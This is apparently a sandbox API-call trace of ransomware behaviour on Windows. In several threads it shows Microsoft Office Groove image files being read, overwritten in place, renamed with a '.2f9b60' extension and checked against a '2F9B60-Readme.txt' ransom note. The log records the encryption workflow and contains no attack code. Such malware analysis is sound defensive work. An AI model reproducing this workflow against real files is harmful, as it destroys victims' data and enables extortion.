[0140.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd90) returned 1 [0140.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0140.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd90 [0140.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdc0 [0140.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdc0) returned 1 [0140.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0140.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0140.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x1b82f830 [0140.033] SetFilePointerEx (in: hFile=0x1b7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.033] WriteFile (in: hFile=0x1b7c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2b42f930, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2b42f930*=0x124, lpOverlapped=0x0) returned 1 [0142.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0142.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0142.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd90) returned 1 [0142.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0142.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd00) returned 1 [0142.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9a0) returned 1 [0142.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba60) returned 1 [0142.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba90) returned 1 [0142.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279eb0 [0142.624] wcscpy (in: _Dest=0x20279eb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" [0142.624] wcscat (in: _Dest=0x20279eb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.2f9b60" [0142.624] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.2f9b60", NtPathName=0x2b42f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0142.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1cecfcc0 [0142.624] NtSetInformationFile (FileHandle=0x1b7c, IoStatusBlock=0x2b42f9f0, FileInformation=0x1cecfcc0, Length=0xd6, FileInformationClass=0xa) returned 0x0 [0145.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfcc0) returned 1 [0145.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd460) returned 1 [0145.377] NtQueryInformationFile (in: FileHandle=0x1b7c, IoStatusBlock=0x2b42f9b8, FileInformation=0x2b42f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b42f9b8, FileInformation=0x2b42f9c8) returned 0x0 [0145.377] NtSetInformationFile (FileHandle=0x1b7c, IoStatusBlock=0x2b42f9b8, FileInformation=0x2b42f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279eb0) returned 1 [0145.392] FlushFileBuffers (hFile=0x1b7c) returned 1 [0145.401] CloseHandle (hObject=0x1b7c) returned 1 [0145.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12730 [0145.403] wcscpy (in: _Dest=0x1ce12730, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.403] wcscat (in: _Dest=0x1ce12730, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12730) returned 1 [0147.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202798b0) returned 1 Thread: id = 1854 os_tid = 0xe14 [0133.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp")) returned 0x20 [0135.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0136.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b0c [0140.150] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2b2bf680 | out: lpFileSize=0x2b2bf680*=6456) returned 1 [0140.150] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.150] ReadFile (in: hFile=0x1b0c, lpBuffer=0x2b2bf600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b2bf648, lpOverlapped=0x0 | out: lpBuffer=0x2b2bf600*, lpNumberOfBytesRead=0x2b2bf648*=0x4, lpOverlapped=0x0) returned 1 [0140.195] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0140.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0140.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0140.195] NtQuerySystemTime (in: CurrentTime=0x2b2bf540 | out: CurrentTime=0x2b2bf540*=132462177454306000) returned 0x0 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x3ed0ca66 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x19cf6fe4 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x46958c02 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x192ef32a [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x6ddb3f51 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x5f6bc563 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x1704e91c [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x36a979ae [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x393bbe93 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x18f46685 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x15279521 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x14cd7696 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x1427f602 [0140.195] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x50076957 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x5009c2e4 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x57e76d22 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0xb2f793a [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x23e010f5 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x368d941d [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x7efbb238 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x2e7e04be [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x4465d639 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x1703af65 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x364af4c5 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x51e37ef [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x14ef64e2 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x2467867a [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x241837de [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x1f834078 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x562f87db [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x5f6bc563 [0140.196] RtlRandomEx (in: Seed=0x2b2bf530 | out: Seed=0x2b2bf530) returned 0x5727e3d5 [0140.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0140.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0140.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617c0 [0140.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0140.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0140.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0140.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x4205a000 [0140.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0140.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0140.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0140.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d9960 [0140.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421dd570 [0140.205] ReadFile (in: hFile=0x1b0c, lpBuffer=0x421d9960, nNumberOfBytesToRead=0x1938, lpNumberOfBytesRead=0x2b2bf530, lpOverlapped=0x0 | out: lpBuffer=0x421d9960*, lpNumberOfBytesRead=0x2b2bf530*=0x1938, lpOverlapped=0x0) returned 1 [0140.208] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.208] WriteFile (in: hFile=0x1b0c, lpBuffer=0x421dd570*, nNumberOfBytesToWrite=0x1938, lpNumberOfBytesWritten=0x2b2bf534, lpOverlapped=0x0 | out: lpBuffer=0x421dd570*, lpNumberOfBytesWritten=0x2b2bf534*=0x1938, lpOverlapped=0x0) returned 1 [0140.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf30 [0140.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf60 [0140.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf60) returned 1 [0140.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421dd570) returned 1 [0140.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d9960) returned 1 [0140.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0140.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0140.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x4205a000 [0140.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0140.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0140.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf60 [0140.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf60) returned 1 [0140.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x42059a10 [0140.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf60 [0140.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf90 [0140.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf90) returned 1 [0140.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0140.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0140.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12c) returned 0x188990 [0140.949] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.949] WriteFile (in: hFile=0x1b0c, lpBuffer=0x188990*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2b2bf650, lpOverlapped=0x0 | out: lpBuffer=0x188990*, lpNumberOfBytesWritten=0x2b2bf650*=0x12c, lpOverlapped=0x0) returned 1 [0141.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188990) returned 1 [0141.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0141.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf60) returned 1 [0141.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0141.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf30) returned 1 [0141.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611c0) returned 1 [0141.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0141.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617c0) returned 1 [0141.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4205e730 [0141.030] wcscpy (in: _Dest=0x4205e730, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" [0141.030] wcscat (in: _Dest=0x4205e730, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp.2f9b60" [0141.030] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp.2f9b60", NtPathName=0x2b2bf670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1ceb4d60 [0141.031] NtSetInformationFile (FileHandle=0x1b0c, IoStatusBlock=0x2b2bf710, FileInformation=0x1ceb4d60, Length=0xde, FileInformationClass=0xa) returned 0x0 [0145.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb4d60) returned 1 [0145.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3c50) returned 1 [0145.441] NtQueryInformationFile (in: FileHandle=0x1b0c, IoStatusBlock=0x2b2bf6d8, FileInformation=0x2b2bf6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b2bf6d8, FileInformation=0x2b2bf6e8) returned 0x0 [0145.441] NtSetInformationFile (FileHandle=0x1b0c, IoStatusBlock=0x2b2bf6d8, FileInformation=0x2b2bf6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e730) returned 1 [0145.451] FlushFileBuffers (hFile=0x1b0c) returned 1 [0145.990] CloseHandle (hObject=0x1b0c) returned 1 [0146.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ac210 [0146.007] wcscpy (in: _Dest=0x202ac210, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.007] wcscat (in: _Dest=0x202ac210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.222] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac210) returned 1 [0147.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278cb0) returned 1 Thread: id = 1855 os_tid = 0xe18 [0133.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg")) returned 0x20 [0135.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg", dwFileAttributes=0x20) returned 1 [0136.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b04 [0140.146] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2b55fe00 | out: lpFileSize=0x2b55fe00*=3981) returned 1 [0140.146] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0xf89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.146] ReadFile (in: hFile=0x1b04, lpBuffer=0x2b55fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b55fdc8, lpOverlapped=0x0 | out: lpBuffer=0x2b55fd80*, lpNumberOfBytesRead=0x2b55fdc8*=0x4, lpOverlapped=0x0) returned 1 [0140.185] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0140.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0140.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0140.185] NtQuerySystemTime (in: CurrentTime=0x2b55fcc0 | out: CurrentTime=0x2b55fcc0*=132462177454306000) returned 0x0 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x252b154 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0xc9d8774 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x54ad0f07 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x2a89a0cd [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x5919bc40 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x17d93778 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x51ba5353 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x7bb8388b [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x2207006a [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x23456ea8 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x455e2612 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x4d3898e9 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x60a0dffa [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x372c61a3 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x51e37ef [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x12053f57 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x30caa81b [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x174a2b28 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x606f02d2 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x337836f [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x28157180 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x5727e3d5 [0140.185] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x64dfe4d0 [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x30d6efb8 [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x124d77c2 [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x72ae7dd [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x10e324cd [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x761e54fa [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x542b96d3 [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x3ba18ba3 [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x12053f57 [0140.186] RtlRandomEx (in: Seed=0x2b55fcb0 | out: Seed=0x2b55fcb0) returned 0x68487842 [0140.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0140.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061630 [0140.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0140.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061630) returned 1 [0140.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267a40) returned 1 [0140.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0140.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0140.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061630 [0140.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0140.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0140.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d2140 [0140.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d5d50 [0140.194] ReadFile (in: hFile=0x1b04, lpBuffer=0x421d2140, nNumberOfBytesToRead=0xf8d, lpNumberOfBytesRead=0x2b55fcb0, lpOverlapped=0x0 | out: lpBuffer=0x421d2140*, lpNumberOfBytesRead=0x2b55fcb0*=0xf8d, lpOverlapped=0x0) returned 1 [0140.194] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.194] WriteFile (in: hFile=0x1b04, lpBuffer=0x421d5d50*, nNumberOfBytesToWrite=0xf8d, lpNumberOfBytesWritten=0x2b55fcb4, lpOverlapped=0x0 | out: lpBuffer=0x421d5d50*, lpNumberOfBytesWritten=0x2b55fcb4*=0xf8d, lpOverlapped=0x0) returned 1 [0140.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde70 [0140.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdea0 [0140.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdea0) returned 1 [0140.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d5d50) returned 1 [0140.940] 